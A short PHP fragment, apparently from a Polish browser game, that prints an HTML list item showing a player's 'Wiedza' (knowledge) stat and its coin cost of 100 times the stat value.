    echo "<li style='margin:10px'>Wiedza: <span style='float:right'>" . $gracz['wiedza'] . " [ - ] " . 100 * $gracz['wiedza'] . "<img src='www/moneta.gif' alt=''/></span>";
}